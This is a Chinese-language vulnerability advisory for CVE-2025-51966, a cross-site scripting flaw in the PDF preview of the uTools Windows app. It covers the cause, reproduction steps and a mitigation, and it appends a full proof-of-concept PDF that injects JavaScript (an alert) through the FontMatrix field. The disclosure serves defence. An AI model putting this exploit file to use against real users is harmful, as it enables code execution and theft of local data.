抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

漏洞标题

CVE-2025-51966:uTools 桌面应用 PDF 预览功能跨站脚本(XSS)漏洞

影响版本

uTools 桌面应用 for Windows 版本 7.2.1 及以下所有版本

发现时间

2025年5月27日

发现人

T1sts

分析报告

  1. 漏洞描述:
    该漏洞存在于 uTools Windows 版本内置的 PDF 文件预览功能中。由于应用在预览 PDF 文件时,其对字体类型的处理逻辑存在缺陷,未能对嵌入的恶意代码进行有效检查和过滤,导致 PDF.js 库在解析特制的恶意 PDF 文件时,会执行文件中包含的任意 JavaScript 代码。

  2. 漏洞危害:

  • 攻击者可利用此漏洞在受害者的 uTools 应用上下文中执行恶意代码。由于 uTools 是一款集成度高、权限较大的效率工具,可能访问大量本地数据和系统资源,此漏洞可能导致:
  • 窃取保存在 uTools 中的敏感信息(如笔记、密码、脚本等)。
  • 执行未经授权的系统操作。
  • 作为进一步攻击的跳板。
  1. 攻击向量:
    攻击者需要事先创建一个包含恶意 JavaScript 代码的 PDF 文件,并诱骗目标用户将其保存到本地计算机上。当用户在使用受影响版本的 uTools 时,通过其内置的“文件查找”功能搜索并点击该恶意文件,触发右侧窗格的预览功能,即可激活漏洞,执行嵌入的代码(例如示例中的 alert(‘Hello World’) 弹窗)。

  2. 技术细节:
    漏洞根源在于 PDF 解析过程中,对 FontMatrix 等字段中包含的可执行内容未进行正确 sanitize。通过在该字段中嵌入 JavaScript 代码(如 alert(‘Hello World’)//),并利用特定的 PDF 对象结构,使得 PDF 渲染引擎在加载字体等资源时错误地将其执行为代码。

  3. 复现步骤:

将提供的恶意 PDF 样本保存至本地(如 C:\hello.pdf), 打开 uTools (v7.2.1或更低版本)。

使用 uTools 的「文件查找」功能(默认开启)搜索 hello.pdf。
文件搜索功能

在搜索结果中,用鼠标单击选中该恶意 PDF 文件。
查找恶意PDF文件

此时 uTools 右侧窗格将自动预览此 PDF,并立即触发嵌入的 JavaScript 代码执行(出现连续弹窗)
XSS弹窗

修补方案

  • 临时缓解措施: 用户应立即在 uTools 设置中临时关闭文件预览功能。

附:恶意PDF样本内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158

%PDF-1.4
%DUMMY
8 0 obj
<<
/PatternType 2
/Shading<<
/Function<<
/Domain[0 1]
/C0[0 0 1]
/C1[1 0.6 0]
/N 1
/FunctionType 2
>>
/ShadingType 2
/Coords[46 400 537 400]
/Extend[false false]
/ColorSpace/DeviceRGB
>>
/Type/Pattern
>>
endobj
5 0 obj
<<
/Widths[573 0 582 0 548 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 573 0 573 0 341]
/Type/Font
/BaseFont/PAXEKO+SourceSansPro-Bold
/LastChar 102
/Encoding/WinAnsiEncoding
/FontMatrix [0.1 0 0 0.1 0 (1\);
alert\('Hello World'\)
//)]
/Subtype/Type1
/FirstChar 65
/FontDescriptor 9 0 R
>>
endobj
2 0 obj
<<
/Kids[3 0 R]
/Type/Pages
/Count 1
>>
endobj
9 0 obj
<<
/Type/FontDescriptor
/ItalicAngle 0
/Ascent 751
/FontBBox[-6 -12 579 713]
/FontName/PAXEKO+SourceSansPro-Bold
/StemV 100
/CapHeight 713
/Flags 32
/FontFile3 10 0 R
/Descent -173
/MissingWidth 250
>>
endobj
6 0 obj
<<
/Length 128
>>
stream
47 379 489 230 re S
/Pattern cs
BT
50 500 Td
117 TL
/F1 150 Tf
/P1 scn
(AbCdEf) Tj
/P2 scn
(AbCdEf) '
ET
endstream
endobj
3 0 obj
<<
/Type/Page
/Resources 4 0 R
/Contents 6 0 R
/Parent 2 0 R
/MediaBox[0 0 595.2756 841.8898]
>>
endobj
10 0 obj
<<
/Length 800
/Subtype/Type2
>>
stream

endstream
endobj
7 0 obj
<<
/PatternType 1
/Matrix[1 0 0 1 50 0]
/Length 58
/TilingType 1
/BBox[0 0 16 16]
/YStep 16
/PaintType 1
/Resources<<
>>
/XStep 16
>>
stream
0.65 g
0 0 16 16 re f
0.15 g
0 0 8 8 re f
8 8 8 8 re f
endstream
endobj
4 0 obj
<<
/Pattern<<
/P1 7 0 R
/P2 8 0 R
>>
/Font<<
/F1 5 0 R
>>
>>
endobj
1 0 obj
<<
/Pages 2 0 R
/Type/Catalog
/OpenAction[3 0 R /Fit]
>>
endobj

xref
0 11
0000000000 65535 f
0000002260 00000 n
0000000522 00000 n
0000000973 00000 n
0000002178 00000 n
0000000266 00000 n
0000000794 00000 n
0000001953 00000 n
0000000015 00000 n
0000000577 00000 n
0000001085 00000 n
trailer
<<
/ID[(DUMMY) (DUMMY)]
/Root 1 0 R
/Size 11
>>
startxref
2333
%%EOF